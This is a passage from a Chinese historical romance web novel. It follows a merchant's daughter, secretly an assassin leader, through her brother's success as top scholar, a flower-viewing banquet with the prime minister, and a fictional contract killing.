底下的几位世家代表的朝臣有些沉不住气了,纷纷看向稳如泰山的太傅,他却连一个眼神都没给他们,反而第一个躬身道:“陛下英明。”
其余官员反应过来也跟着说道:“陛下英明。”
其余的名次确定便没有这般麻烦了,基本与他们科举时的名次大差不差,皇帝也没有把事情做得太绝,还是有一部分世家子弟名次靠前,起码能混个清闲京官做做了。
至于康王硬塞进来的三人,被随意分到了翰林院做些闲职。陆瑜已经安排了手下,回头找个理由让他们顶罪削官,都从哪儿来的回哪儿去才是最好的。
快到正午时刻,今日的殿试才算圆满的结束,各位学子领了名次和官职以后便可以各自归家了。
殿试前三名为三甲,需要骑马游街绕京城一圈,受百姓瞻仰并鼓舞天下寒门学子。
白永思作为状元走在开路的小太监后面第一个,他骑在高头大马上,身姿挺拔,眉目俊逸,惹得许多姑娘小姐抛来手绢和鲜花。
白妙可也坐在揽月楼的二楼看着自家哥哥骑马走来,她笑着扔出一朵栀子花,用了些巧头和力道,那花便稳稳落在了白永思攥着缰绳的手边,他笑着捡起花放在鼻尖,抬头看向妹妹灿烂的笑脸,也露出一个明朗的笑来。
不知看呆了多少大姑娘小媳妇。
白妙可暗暗摇头,看来既陆瑜以后京城又要多出来一个香饽饽了。
随着哥哥的身影逐渐消失在视线中逐渐走远。
白妙可的脑海中突然浮现出陆瑜当年作为状元游街的场景,比今天有过之而无不及。
她当时还是个刚及笄的小女孩,同样是坐在揽月楼的这个位置,看着底下意气风发的俊秀状元,也做过一些少女怀春的梦。<
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这般想着她不禁浮上了一个微笑。待意识到自己在做什么以后,她懊恼地想,怎么又想起来他了,真是美色误人啊!
她甩甩头发,将男人赶出自己的脑海,起身回家给老爹报喜去了。
……
毫不知情的陆瑜在御书房打了个喷嚏,皇帝关切地问:“爱卿没事吧,要注意身体啊。”
上午的殿试结束,陆瑜就被皇帝留下一起用膳了,皇帝的心情很好,难得聊起来许多以前的事情。
二人一同回忆起了跟着太傅马鸿哲学习的日子,太傅为人不苟言笑,即便是对着当时贵为太子的陛下也很是严格。
即便现在政见不合,已经好久不曾跟太傅心平气和的坐下来聊天了,两人不得不承认,他的确是一位好的老师。
看着皇帝难得的开怀,谈起太傅语气里也只是透着些对于古板长辈的无奈。
陆瑜犹豫片刻。
最终也没有将自己查到的,关于太傅很有可能参与了西北之战以及余氏谋反这件事告诉陛下,他今日实在难以开口,不忍着破坏皇帝的好心情,想着改日再说也不迟。
二人相谈甚欢的时候,白家也围坐在院里庆祝。
白老爷知道自己的长子聪慧好学,但是也没想到他能一举中个状元回来,白老爷知道这个消息高兴坏了。
一家人坐在院子里赏月吃饭。
白妙可举杯道:“哥,我敬你,太厉害了你!”
白老爷也附和道:“我儿有出息了,既然选择做官,就要做个好官。”
白永思点头应是。他被任命为从三品的工部侍郎,皇帝没有说太多,但是如今工部多是太傅一手培养起来的人,皇帝将他安排至此,想必是别有深意。
白老爷想的却不一样,他道:“圣上将你安排进工部这花钱如流水的的地方,恐怕是暗示咱家呢,要不你上任之时为国库捐上百两黄金聊表心意。”
“百两黄金是不是有点少?”白妙可补充道。
白永思看着自家财大气粗又准备撒钱的父女俩,无奈道:“陛下应当不是为了白家的钱才将我分去工部,您二位就不必操心了。”
“咱们家就算有再多银子,也不能白白便宜了那些蠹虫。”
二人点头应是,调侃道:“白侍郎说的有道理。”
三个人有说有笑地吃完了这顿饭。
结束以后,白老爷单独将白永思带到了白家祠堂,他跪在祠堂中母亲的牌位前。
白永思恭敬上香磕头,道:“母亲,儿子不孝,还是放不下心中抱负,愿入朝为官,日后去九泉之下向母亲赔罪。”
听见儿子的话,白老爷眼眶微红,他一向是赞同儿女追求自己的抱负的,但是他的夫人也就是他们的母亲临终前叮嘱,不愿白家人入朝为官。
白老爷一直记着夫人的话,这么多年无论生意如何扩张,都未涉及到皇室和朝廷,安安分分地做一名富商。
儿子白永思虽然一心只读圣贤书,但是这么多年也未曾提过要参与科举的事情。
直至去年的一场洪灾,临近京城的千万百姓流离失所,朝廷拨下来的救灾粮被层层克扣,纵使白家慷慨相助也只是杯水车薪,无数百姓因此失去家园甚至失去生命。
自那之后,白永思便决心入朝为官。白老爷没有阻拦,他明白长子内心的纠结与抱负,他相信爱妻在世的话也会理解。
长夜漫漫,白家祠堂里有一道挺直的身影跪了一整夜。
16. 陆府赏花
白永思高中以后,往白家递的各种拜帖便没断过,还有许多媒人前来说亲,白永思,以身体不适为由一概回绝了。
但是其中一位,他实在不好拒绝,那便是丞相陆瑜。
他不仅递来了邀帖,而且直接派了长随富贵前来传话。
身为丞相的亲信,富贵自然被白家好生接待在前厅,白永思推门进来的时候便看见富贵不住地往他身后看去,他疑惑询问:“莫非丞相不是给我传话?”
富贵立刻收回视线,正色道:“状元郎,后日镇国公府举办诗会,我家公子想邀您与舍妹出席。”
白永思略显迟疑地接过邀帖,看见上面自己和妹妹的名字才确认丞相还邀请了小妹。
他是自然会去的,不只是要卖丞相一个面子,说不定还可以见见未来的同僚。
但是他实在有些不确定妹妹愿不愿意去参加什么诗会,她向来不喜欢吟诗作对那些。
于是他开口道:“丞相邀约白某定然到场,只是小妹那边,需要问问她的意思。”
富贵回:“那是自然。”
说完也没有要离开的意思,想必是要在这里等结果好回去回话了。
白永思也不愿让人久等,便叫下人去喊白妙可来前厅。
许多古板的官宦人家,未出阁发小姐是不许见外男的,但是白妙可都出面料理生意了,白家自然没有那么多规矩。
听见下人通禀说丞相府的长随找她,白妙可好奇大过意外,她从未怀疑过陆瑜能查到自己白家小姐的身份,也没想刻意隐瞒,毕竟是丞相大人,这点能力还是有的。
不过片刻功夫,身着浅杏色对襟罗裙的少女就来到了前厅。
先叫了声哥,又同富贵问好:“你家公子最近怎么样?”
自打上次她喝酒丢脸又害得陆瑜受伤那件事,除了她登门道歉那次,二人就没再见面,白妙可问的自然是他的脖子上的伤如何了。
提起这个,富贵就想起来自家公子绑了好久的绷带,引来各种猜测。
皇上更是以为丞相大人遇刺了,大手一挥赏赐了好些侍卫保护丞相,在陆府腾出两间院子才安置下这么多的侍卫,但是过了没几日,陆瑜就又找到了皇帝,以自己实在养不起这么多侍卫为由将人都退了回去。当然为此皇帝又破例升了丞相的俸禄就是意外收获了。
但是富贵为了保护自家公子在姑娘面前的形象,他简略回答:“白姑娘,公子邀您后日于镇国公府参加赏花宴,到时候您可以亲自看看。”
赏花她喜欢啊,白妙可略一思索就答应了:“好啊。”
想了想她又补充道:“同你家公子说说,我有惊喜给他,让他好好想想拿什么来同我交换。”
富贵恭敬应是,将白妙可的话记在心里,准备一字不漏的回去禀报给公子。
敲定赴宴好时间以后,富贵就离开了白府。
白永思望着他脚步匆匆离开的背影想,刚才说的不是诗会吗,怎么成了赏花了……
他问妹妹:“你同丞相大人关系很好?”
白妙可大咧咧地回:“还行吧,本来他欠我一个人情,现在两清了。”
白永思便没再多问。
富贵回了陆府,先去了陆夫人那边回信说白姑娘同意赴宴,陆夫人高兴坏了。
白家向来低调,也就是最近出了个状元陆夫人才知道那日的小姑娘竟然就是状元妹妹。
陆夫人当即决定办一场宴会,第一个邀请的便是白家小姐,为了避免小姑娘尴尬,陆夫人又邀请了一些好相处的贵女作陪。
勒令儿子参加宴会的时候,陆夫人本以为陆瑜会推脱一下,没想到儿子痛快答应了,还加了几个朝中官员和今年的新任命的官员,状元白永思自然也在其中。
多几个年轻才子热闹热闹陆夫人自然高兴,于是赏花宴就变成了赏花作诗宴。
从陆夫人那里出来,富贵才去给自家公子回话,他一字不落地将白姑娘的话复述给陆瑜,听着富贵一板一眼的转述,陆瑜的脑海中却是浮现出了小姑娘飞扬的神采。
他情不自禁地弯了弯唇间,心里想,到底是什么惊喜呢?能见到她便是惊喜了吧。
富贵看见自家公子的表情变化,也咧嘴笑了起来:“公子终于开窍了,知道白姑娘要来这么高兴。”
陆瑜不置可否。
白妙可确实是他见过最特别的女子,她总是能带着自己惊喜,至于其他的,他走的这条路太窄太险,踏错一步便是万丈深渊,他怎么忍心艳阳下的花朵陪自己坠入黑暗深渊。
……
转眼便到了赏花宴当天。
白妙可早早的就被春杏叫了起来,“小姐怕是忘了,今天要去镇国公府赴宴。”
白妙可倒是没忘,只是觉得这不是什么特别的大事,她之前也经常出门赏花。
春杏却不这么想:“这可是小姐第一次参加这种贵女们的宴会,还是跟着大公子一起,自然要好生打扮一番。”
听见这话,白妙可才打起精神来,她可不能丢哥哥的脸。
她蹭地一下坐了起来,接过春杏递来的湿帕子边擦脸边说:“你快帮我看看今日穿什么衣服,再去库房取我新得的那套宝石头面。”
很快便有侍女用托盘端来一套精致漂亮的头面至于桌上。大大小小的绯色宝石镶嵌其中,在日光下更加光彩夺目。
白妙可满意点头,对着春杏说:“金玉楼的掌柜真是越来越懂我的喜好了。”
春杏便掏出一锭银子交给侍女,算是给掌柜的赏钱。
选好头面,又有几个小丫鬟拿来几套绣坊送来的初秋衣裙。
白妙可纠结半天,最后选了一件蜜粉色镶银丝苏缎长裙,配她的头面刚好,看起来明媚而不招摇。
最后春杏她脸上略施粉黛,自有一番浑然天成的美丽。
收拾妥当一切,时辰也就差不多了,白妙可便带着春杏到了前厅。
白永思早就在这儿等着了,他今日穿的还是浅碧色衣衫,整个人看起来低调又清冷。
看见白妙可这一身精心又不显刻意的装扮,他在心里暗暗赞叹自家妹妹的美貌,但是赞美的话若是说出口,她的尾巴能翘到天上去。
赶在晌午之前,两个人共乘一车前往镇国公府。
镇国公府已经到了一些宾客,兄妹二人一下车便被小厮迎进门。
今日的宴席分了男女两拨,陆夫人带着女眷在后院花园附近的凉亭中,此处风景极好,又恰逢菊花盛放,众女正好在亭中赏花品茶。
男子则主要由陆瑜招待在后院的另一侧,与女眷之间相隔不远,中间又有一处水榭隔开,通过一座拱桥连接两处,年轻男女可以隔
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水相望,也不会显得失礼。
白家兄妹被陆府下人带至后院,两个人在中间的拱桥处分开。
这边陆夫人一看见拱桥上的白妙可便停下跟其他夫人的交谈起身相迎。
这般动作引得在场的夫人小姐纷纷投去视线,想看看是哪家姑娘能让国公夫人亲自相迎。
桥上的少女身姿轻盈,笑着朝陆夫人招手。
众女先是注意到那女子看似未施粉黛却明艳大气的美貌,接着便是她随着光线变化而闪烁夺目的宝石头面,绯红色的宝石衬得少女更是面若桃花,巧笑倩然。
在座的有京中身份尊贵的诰命夫人,也有养尊处优的高门小姐,都是见惯了好东西的贵人,也没见过成色这般好的宝石头面。
一时之间,众人纷纷猜测来者的身份,有几位见过白永思状元游街那日风光的姑娘认出了她,却是不知为何一个状元妹妹能有这般珍贵罕见的首饰。
待陆夫人和白妙可走进凉亭,众女才发现白妙可那身看似素雅的衣裙却是暗绣着银纹,辗转行动间闪着银色光芒,女子明眸皓齿的长相配上这一身的低调又张扬的首饰衣物恰到好处,美得让人移不开眼。
陆夫人笑着将众女眼里或惊艳或嫉妒的眼神尽收眼底,才缓缓开口介绍道:“这是白家的小姐,头回来参加咱们的宴席,大家多照顾着些。”
陆夫人这么一说,众人便知道了,这位是新晋状元的妹妹。
有了解更多的知道白家是商贾大户,有不认识白家的便觉得这位状元妹妹是第一次参加这种宴会,想要打肿脸充胖子
白妙可才不管其他人想什么,她被陆夫人安排坐在靠近湖面的席位。
临湖而坐,她一眼便看见了湖对面正在招待男宾的陆瑜,他正同白永思说着些什么,突然似有所感地转头看向凉亭这边,正对上白妙可的视线。
他今日穿了一身月白色的锦衣,见过穿着官服冷淡威严的丞相大人,再看这般白衣似雪,风度翩然的陆瑜,白妙可竟生出几分冲动,想撕开他端庄矜贵的外表,看看他失控失态的样子,想想这张俊秀的脸上可能会出现的种种表情,定然是有趣极了。
这般想着,白妙可不禁笑了起来。
归功于她那双澄澈透亮的眼睛,纵使心里的小算盘打到飞起,白妙可笑起来却还是那副人畜无害的样子,让人无端觉得很好亲近。
殊不知她这幅神情落在正对视着的陆瑜眼里成了另一种意思,虽然依旧是淡淡的神色,但是陆瑜的心里却是有些雀跃的:她为何对着我笑?莫非看见我很是欣喜……
方才正在同他说话的白永思自然也注意到了二人的互动,显然他也误会了妹妹的笑。
这一误会,白家大哥再看二人的互动便觉得有些端倪了,他不动声色走了两步地挡住了陆瑜看向妹妹的视线。
在官场摸爬滚打多年的老狐狸了,妹妹那般心思单纯的人可不能被他给骗走了。
白永思重新谈起正事引开了陆瑜的注意力,两人倒也算是相谈甚欢。
在场的官员也都注意到了白永思与陆瑜相见恨晚般的谈话,纷纷猜测这位新科状元恐怕是要收到丞相一派了。
陆瑜岂能不知众人的想法,却是乐见其成。
等护妹心切的白状元反应过来的时候,才发现自己已经被众人绑在了丞相的船上……
17. 郎才女貌
凉亭这边也有几个未出嫁的小姐注意到了对面的几位男子,纷纷好奇又羞涩的偷偷打量。
陆瑜在人群中一贯是最显眼的,常常被称为京城第一公子。
贵女们却发现今日多了一道长身玉立的身影,与陆瑜并肩而立也不输分毫,可不正是最近风头无二的新科状元白永思。
若将二人拿来对比的话:陆丞相是京城出了名的俊秀,但是他身上冷淡又威严的上位者气场便令许多闺秀心生怯意,再加上在座的许多贵女出身世家大族,便是家族立场就注定与陆瑜无缘;
与他相比,另一位状元郎就显得温和许多,那双总是含笑的凤眼吸引了在座不少女子的芳心,而且据说这位白公子出身平民,一些出身不高的贵女也就有了些心思。
于是,不消片刻,就有几个贵女围到了白妙可身边。
其中包括户部尚书家的嫡女,永安侯府的小姐,甚至还有昭和长公主的女儿。
姑娘们凑在一起夸赞白妙可的衣裳头面好看,亲亲切切的不像是第一次见面,反而如同亲姐妹一般。
白妙可笑眯眯的同众位贵女打着太极,还顺便推销了一番金玉楼的首饰头面,心里想着要是看参加一次宴会还能给金玉楼拉来几笔大买卖就更好了。
寒暄客套的差不多了,便开始有人提起白妙可那位状元哥哥。都是规矩教养严格的闺阁女子,夸来夸去也没人好意思问的更多。
白妙可有些好笑地看着贵女们矜持又好奇的模样,看够了热闹,她主动说:“我哥还未娶妻,我盼着他早日给我找位嫂嫂呢。”
在座的贵女一听,均在心头暗喜,面上却是羞涩。
又过了没多久,就到午膳时间,陆府下人将众人引去厅堂,便是用午膳的地方了。
依旧是男女分席而坐,只是距离要近了不少,中间仅有一道薄纱分隔,桌上的交谈声也能互相听见。
白妙可被陆夫人拉着坐在她的左手边,接着便有下人井然有序的端上一道道精美的菜肴。
因为与男宾那边离得比较近,夫人小姐们的交谈声也刻意压低了,白妙可乐得清净,只和身旁的陆夫人说些玩笑。
但是男宾那边就没有这般拘谨了,也许是喝了些酒的缘故,隔着一段距离都能听见那边的交谈声逐渐变大。
白妙可就听见了许多人给哥哥敬酒恭喜他高中的声音,她暗自祈祷哥哥可千万别喝多了。
若说白妙可的酒量算是还行,那她哥白永思的酒量也就只有她的一半不到,虽说醉了以后也不会做什么奇怪的事情,但是白妙可可不想带一个醉鬼回家。
男宾那桌,白永思已经喝了两三杯清酒,他清楚自己的酒量,再喝可能要醉了。便有意避开同桌官员热切的眼神,自顾自夹菜。
坐在主位的陆瑜一眼便看出了他的为难,还有那已经悄悄爬上来的红晕,心头了然,白家这兄妹俩的酒量真是半斤八两啊。
他侧头跟下人耳语了两句,很快便有人送了一壶茶到白永思面前,他探究的看向陆瑜。
后者轻声说:“白公子不胜酒力的话,可以以茶代酒,相信诸位大人也不会介意。”
丞相发话了,其余官员纷纷附和。
白永思闻言对陆瑜点头致谢,心想这丞相大人倒也不似传言那般冷酷无情,而且他察言观色的能力真是一流,让人自愧不如。
这份额外关照让桌上的众人纷纷猜测丞相是不是得了皇上的什么授意,这位新科状元恐怕是要被重用了。
白永思一开始也是如此以为,直到纱帐后的女席那边传来几声低语,伴随着女子银铃般的笑声,他自然听出来那是妹妹的声音,只是身边这位陆大人跟着露出来的浅笑是什么意思……
他疑惑地看向陆瑜。
陆瑜嘴角的浅笑却转瞬而逝,仿佛刚才只是他的幻觉。
宴席持续了半个时辰才结束。
陆府一家三口送众宾客离开,只有白家兄妹被留了下来。
白妙可正坐在凉亭里听陆夫人讲她当年在战场上的故事时,陆瑜走了过来,先是恭敬地道了句:“母亲。”
还未开口,陆夫人便笑着说:“我知道,你们年轻人聊,多聊聊,招待了一上午宾客我也有些乏了,先回去休息了。”
说罢,也不用陆瑜多送,自己带着丫鬟走了。
白妙可抬头看向陆瑜,离得近了她才看到他修长脖颈上淡粉色的一道红痕,正好在喉结附近,随着他说话或者咽口水的动作而轻微移动,让白妙可有种上手摸一下的冲动。
注意到她的目光,陆瑜主动开口道:“已经好了。”
听见这话,白妙可才将视线转回那张过分俊秀的脸庞,奥了一声以作回应。
陆瑜走到刚才陆夫人所坐的位置坐下,正对着湖边的花园,迎着花园里白家大哥灼灼的目光,慢条斯理地为两人各自倒了一杯茶水。
白妙可问:“我哥呢?你们聊完了?”
陆瑜点头,“聊完了,该聊聊我们的事情了。”
这话说得不清不楚的,白妙可一时之间有着怔愣,端着茶杯目光盯着他的表情。
看见少女呆呆的模样,陆瑜忍俊不禁地提醒道:“你说的惊喜呢?我可很是期待。”
白妙可回过神来,他居然逗弄自己,她顿时就不高兴了,狠狠地瞪了他一眼,气鼓鼓地没再说话。
陆瑜盯着她因为生气而有些嘟起的水润红唇,放缓语气道:“我打听到了太傅在江南的一些事情。”
听见这话,白妙可猛地抬头,追问道:“他在江南的时候发生了什么?”
陆瑜没法将皇帝让他查的事情告诉她,但是关于太傅,他最近确实又查到一些消息。
“太傅三十年前曾任工部侍郎,受命前往江南修缮水利,在江南遇见了养在老宅的余家长女,对其一见钟情;四年间他又多次前往江南,最后一次他在江南呆了足足一年,直到西北之战前夕才回京,后来余家没落,他便青云直上,直到今日再没有去过江南。”
陆瑜只是陈述自己知道的关于太傅的事情,没有给出自己的分析,也隐去了皇家秘闻的部分,白妙可还是从中听出了一些端倪。
她开口问:“余家长女就是丽妃对吧?”
陆瑜点头;“先帝微服出巡时遇见余家长女,也是在江南。”
白妙可突然意识到自己可能错过了什么重要信息,她顾不上陆瑜还在,飞快的
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拿出自己带来的那些康王的信件,她本以为这些与自己要查的事情无关,准备做个人情卖给陆瑜。
此时她飞快的翻阅那些信件,从中抽取出一封发黄破损,看起来有些年头的信纸,上面写着:余二找到了吗?别忘记你答应我的事,见不到她,我是不会帮你的。
落款是一枚已经模糊的印章。
陆瑜被她突然的动作吓了一跳,见她没有避着自己的意思,便也将头稍微凑过去一些,端详纸上的内容。
看至末尾那枚模糊的红色印记,他一贯冷静的神情出现了一丝裂缝。
白妙可没错过他转瞬即逝的神色变化,敏锐地问:“你认识这个印记?”
他犹豫了一下才点点头;“是马鸿哲年轻的时候用的私印,我从前在他的书房见过。”
一时间,两人都没有说话。
白妙可几乎可以确定自己的母亲应该是与余家有什么关系,因为发现了马鸿哲在江南做得一些事情而被迫和家人分别成了孤女。
她觉得自己有必要去一趟江南,查一下母亲当年发生了什么,运气好的话说不定自己的外祖家还在江南。
陆瑜不知白妙可的想法,他在想马鸿哲要找的人是谁,那件事又是什么,是否跟自己在查的事情有关呢。
想好以后,白妙可把这张信纸收好,将其余有关康王的信件递给陆瑜,道:“不白听你讲故事。”
陆瑜抬手接过,有了刚才那封信,他大概也清楚手中这些信的有用之处了,朝白妙可笑笑说;“那就多谢大小姐了。”
听着他调侃的话,白妙可感觉自己方才紧绷的神经慢慢放松下来,突然想起来自己的便宜哥哥,她问:“我哥呢?”
陆瑜抬手一指,就见白永思一个人坐在花园的石凳上一眼不错地睁着这边。
白妙可朝他挥挥手,看见亲人心头更加安定,她对陆瑜道:“我要走了。”
后面的去江南被她咽了下去,这是她自己的事情,没必要告诉别人。
陆瑜便同她一起走出凉亭,穿过拱桥走到花园。白永思心情复杂地看着面前走来的两人,不得不承认是一对郎才女貌的璧人,但是不知为何他的心里就是不太舒服。
刚才陆瑜给他传达了皇上让他去工部卧底的任务以后,他便被留在这里眼睁睁看着他俩在亭中说话。
若只是说话便算了,他分明陆瑜将头一个劲地往自家妹妹那里靠,那不是占便宜是什么!
他都快忍不住冲过去揍这位丞相大人的时候,却又看见自家妹妹掏出一封信送给陆瑜,他又愣在了原地,他不是没收到过一些腼腆羞涩的姑娘送来的信,没想到妹妹竟然也为了这个男人写信,他当时便沉默了下来……
冷静了许久,现在的白永思勉强可以心平气和的面对两人:一个占姑娘便宜的黑心高官和自家人美心善情窦初开被坏人蒙骗的可爱妹妹。
待二人走近,白永思便看见白妙可向来飞扬的眉梢里藏着一丝阴霾,莫非是陆瑜说了什么令她伤心的话?这般想着,白永思也顾不得对方是丞相大人了,他冷着脸带着妹妹快速离开了镇国公府。
陆瑜不知这位白状元怎么突然不高兴了,只默默目送两人离开。
18. 杀手上线
兄妹俩上了回府的马车,白永思才开口问妹妹:“是不是他欺负你了?”语气里有些不忿。
白妙可还在想着其他事情,听见哥哥的问话差点没反应过来他在说谁,愣了一会儿才无奈说:“哥,没有。”
她这位哥哥哪点都好,就是老是担心自己受欺负,也怪她没跟哥哥说过自己会武功还是个杀手头头,哪有别人欺负的份。
白永思以为她是在逞强,便安慰道:“天下好儿郎多了去,哥日后会帮你留意的,不愁找不到比他强的……”说到最后他自己心里都有些没谱了。
白妙可现在一门心思都在刚才听来的消息上,都没听清哥哥说了什么就敷衍地嗯了两声,接着继续沉思。
白永思看着妹妹依旧皱着的眉头,看上去心事重重。
他也没什么儿女感情方面的经验,一时不知该如何开导妹妹,只能在心里暗自想京中还有没有各方面都胜过陆丞相的公子。
一路沉默,马车快到白府门前的时候,白永思才憋住一句:“妹妹你且安心,哥哥会帮你上心留意的。若是有什么委屈只管跟哥说,别自己憋着。”
白妙可倒是没什么委屈,但是这一路上她已经想好了去江南的大致计划,心头的石头落下,她又恢复了那副没心没肺的样子,随意地说:“我的确有事跟你说,我要去江南一趟。”
马车此时正好停在白府门口,还未等白永思开口,少女便从马车上跳了下去,不等还在蒙圈的哥哥,径直往里走去,她还要跟父亲说一下此事。
白老爷正在书房练字,看见女儿风风火火地进来,他放下了手里的笔,笑着看向女儿:“小可回来了,玩的开心吗?”
白妙可进门先端起桌上的茶壶给自己倒了一大杯茶水喝下,方才跟陆瑜说话的时候都没顾上喝水,润了润嗓子她才开口道:“开心呀,国公夫人很喜欢我呢,与我讲了许多战场上的故事,当真是个巾帼英雄。”
白老爷认可:“我的小可这么乖巧可人,谁不喜欢呢,小可也是我们白家的英雄。”
白妙可继续顺着老爷子的话接着说:“都是父亲教导的好。”
哄得白老爷开怀大笑,白妙可这才趁热打铁道:“父亲大人,我想去一趟江南。”
白老爷收起笑容,疑惑问:“去江南做什么?”
白妙可不愿父亲担心,便搬出早就想好的说辞:“听说江南风景秀丽,女儿想去看看。”
白老爷实在太过了解自家女儿了,一听便知不对,他正色问道:“是去查你母亲的事情吧?”
白妙可见瞒不过了,索性坦白:“是,我最近查到了太傅在江南待过一段时间,可能见过母亲,不知遇见了什么事情才让母亲与外族家分开,我想去查查。”
她没说外祖家可能还在江南的事情,毕竟只是自己的猜测。
她本以为还需要费些口舌磨上几天父亲才会同意,没想到白老爷只是沉默了片刻就点头了。
他叹息一声,看着女儿的眼睛道:“你长大了,与你母亲越来越像。想做什么就去做吧,我会支持你的。”
他深沉的目光仿佛透过女儿看见自己在江南遇见的那个充满活力的少女。
深吸一口气,白老爷眨了眨眼睛憋回眼泪,继续对女儿说:“既然你决定去江南了,那有些细节你得知道,你母亲应该并非出生在江南,但是或许有些亲眷在江南。她应该是家里最小的女儿,我曾听她说过有一个姐姐一个哥哥,你在江南可以试着找找。”
白老爷又从书柜的暗格中取出一块玉佩,递给女儿,“这是你母亲一直贴身带着的,应当是信物之类的,你好好戴着。”
白妙可双手接过玉佩,入手温润,色泽透亮没有一丝杂质,是一块上好的美玉。
她对父亲道:“您放心吧,我会收好的。”说罢小心的将玉佩挂在了脖子上。
白老爷又叮嘱了许多注意身体路上小心之类的话,最后说:“若是找不到什么就回家来,父亲一直在家等你。”
白妙可郑重点头,准备起身离开的时候,白老爷叫住了女儿:“准备何时动身?”
白妙可思索片刻:“再过两天吧,等我哥上任了我再走。”
白永思去户部上任的时间正好在两日之后,她想亲眼看着哥哥走马上任,正好走之前她还有些事情需要处理。
跟白老爷说好以后,她先是去了一趟月影阁在揽月楼的据点,萧恒在那里等她。
前端时间拒了杀丞相的单子以后,白妙可也觉得心里过意不去,便在月影阁多接了几个棘手的任务,大多是同萧恒配合两个人轮流动手和打掩护,倒是将月影阁的名声又壮大的几分。
看见白妙可进来,萧恒笑道:“又手痒了?今晚有个负心汉要杀去不去?”
是昨日,一位年轻夫人找上月影阁要花大价钱杀了自己那位忘恩负义的夫君,男的据说是今年刚科举的进士,被朝廷分去做了个小官便开始眠花宿柳,还扬言要休妻,妇人忍无可忍才找到了月影阁。
要杀这类的人一般是用不上大名鼎鼎的影月出马的,萧恒也是随口一问。
没想到白妙可没多想便答应了,道:“最后陪你去杀一个,过两天我就走了。”
萧恒找出她常用的面具扔过去,听见这话惊讶地问:“走了?你去哪儿?”
白妙可接过面具戴上,回:“去趟江南。”
萧恒追问:“去江南做什么?我陪你去。”
白妙可已经拿好自己惯用的长鞭,又带了些方便的暗器,准备出门了,边走边回:“去查些事情,你得留在京城看着月影阁,我自己去就行。”
萧恒还想再多问两句,一身夜行衣的少女已经走出一段距离了。
他快步追上,只能先说正事道:“那名男子现在应该在醉春楼,我们现在过去。”
白妙可点头,两道身影便鬼魅般消失在夜色中。
熟门熟路地从侧门进来,牡丹就已经等在那里了,带着二人避开人群,径直到了她的厢房。
未等两人开口,牡丹便调侃道:“潇老大好久不见啊,真是越来越俊俏了。”
说着还想伸手去摸一摸萧恒健硕的身材,被他两步避开,牡丹便露出几分伤心的神色,也不知是真心还是假意。
白妙可已经习惯这两人的相处方式,打圆场说道:“牡丹姐姐,我好想你啊~”
牡丹重新笑了起来,拉起她的手道:“姐姐也想你呢,最近你不来,那位稀客也不来了。”<
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白妙可看着牡丹调侃的眼神便立刻明白过来她说的稀客是陆瑜,自己上次打扮他的侍妾来楼里就被牡丹打趣了好久呢。
只是她还是有些惊讶,忍不住问道:“他再没来过吗?”
牡丹佯装惋惜地说:“是啊,是不是被你给勾走了~”
听到这里,萧恒也算反应过来了,这两人讨论哪个男人呢,他第一反应便是那位丞相,很想开口问问,又实在加不到这两人的谈话中。
好在白妙可还记着正事呢,她略过了这个话题,问道:“人在哪间房?我们现在过去吗?”
牡丹给他们指了一个方向:“走到头第二间。”
她接着问:“还有姑娘在里面呢,你们现在就要去?”
萧恒道:“放心吧,不会伤害到她的。”
白妙可却是摇头。醉春楼虽然不是白家的产业,但是白妙可知道经营不易,直接在醉春楼杀人对他们的生意必然有影响。
另一个方面,屋里还有姑娘,他们虽然不会伤害无辜的人,但是那般血腥的场面可能会吓坏她。
她没有同萧恒解释太多,只道:“等他离开这儿再下手吧。”
牡丹这才又笑了起来:“对嘛,别着急,这种急色的男人要不了多久的。”
听见这话,萧恒冷硬的表情险些维持不住,这里他实在呆不下去了,走到门口对白妙可道:“我出去看看,等他结束……呃,出来以后叫你。”
待他走后,白妙可同牡丹说了自己要去江南的事情。
“江南好呀,江南的姑娘公子都水灵的很。”牡丹仿佛陷入了回忆。
牡丹很小的时候就被父母一两银子卖给人牙子,后来被当做江南瘦马培养,来月影阁之前她曾在江南的秦楼楚馆呆过一段时间,后来辗转来到京城,一个孤身一人又资色美艳的姑娘,很快便被京中的两个纨绔盯上,还是多亏了白妙可相救才免去一难。
白妙可见她实在无处可去,便问她是否愿意加入月影阁,她自然是答应了。
她便在阁里学习了一些简单的保命功夫,但是做杀手是远远不够的。于是她便主动提出想去醉春楼做个暗哨,能打探些消息也是好的,白妙可再三确认她是自愿的才放她来这儿。
后来她慢慢成了这楼里的头牌,却一直将白妙可视作自己的恩人,也看作自己的妹妹一般。
她开口问:“你自己去吗?此行可安全?”
白妙可回:“好姐姐你放心吧,你又不是不知道,我一个能打十个。”
牡丹还是不放心,从妆奁里面拿出几个小瓷瓶递过去:“那也得有备无患才行,这白色瓷瓶装的是迷药,只要放一点儿,两百斤的汉子都扛不住。”
“这红色瓷瓶装的是助兴之药,此药药效强劲,服下一粒,三个时辰内不解便会筋脉爆体而亡。”她指着那个红色小瓶道。
白妙可知道她说的助兴是什么意思,有些不自在的吐了吐舌头,虽然觉得没什么机会用到这种药,但是有备无患总是好的,于是她接过瓷瓶问:“那解药呢?”
牡丹挑眉:“这般厉害的药哪有解药,实在不行睡一觉就解了呗。”
听着她这一语双关的睡一觉,白妙可竟觉得很有道理……
19. 准备出发
二人又闲聊了一刻钟左右,萧恒回来了,脸色不太好看,对白妙可道:“人出来了,走吧。”
白妙可同牡丹眨了眨眼,两人都忍住没问萧恒刚才是不是去那房间门口听墙角去了。
白妙可与萧恒隐在暗处跟着那人来到街上,街道两侧的商贩林立,过往路人还有很多。
这位刚从逍遥窟出来的进士正美滋滋地幻想着自己金榜题名美妾成群的将来,忽然感觉腰上一紧,便被银色的长鞭缠住,一股巨力便将他拽到了暗处的小巷。
他还没来的及站稳,萧恒便将一把匕首横在他的脖颈上,低沉着嗓子开口问:“是新科进士孙禄仁吗?”
男子抖如筛糠,拼命点头:“是我是我,我是康王殿下的门生,你们不能杀我。”
确定了身份,萧恒懒得跟他废话,刚想一刀解决,白妙可压低声音开口了:“康王是不是帮你科举舞弊了?说来听听。”
男子面色一僵,本能想要拒绝。萧恒的匕首却是直接割破了他的皮肤,他吓了一跳,几乎是哭着求饶:“别杀我,我都说我都说。”
“我有一个姐姐是康王殿下的宠妾,磨了好久殿下才同意帮我,具体细节我也不清楚,只知道应该是陆丞相卖了王爷个面子吧。”
白妙可突然想起来康王与陆瑜的交易,原来如此,是为了帮她打听当年的事情才破例收了这种酒囊饭袋吗?
那她便替他解决了这个污点吧,这般想着,她掷出一枚飞镖,男人应声倒地,没了气息。
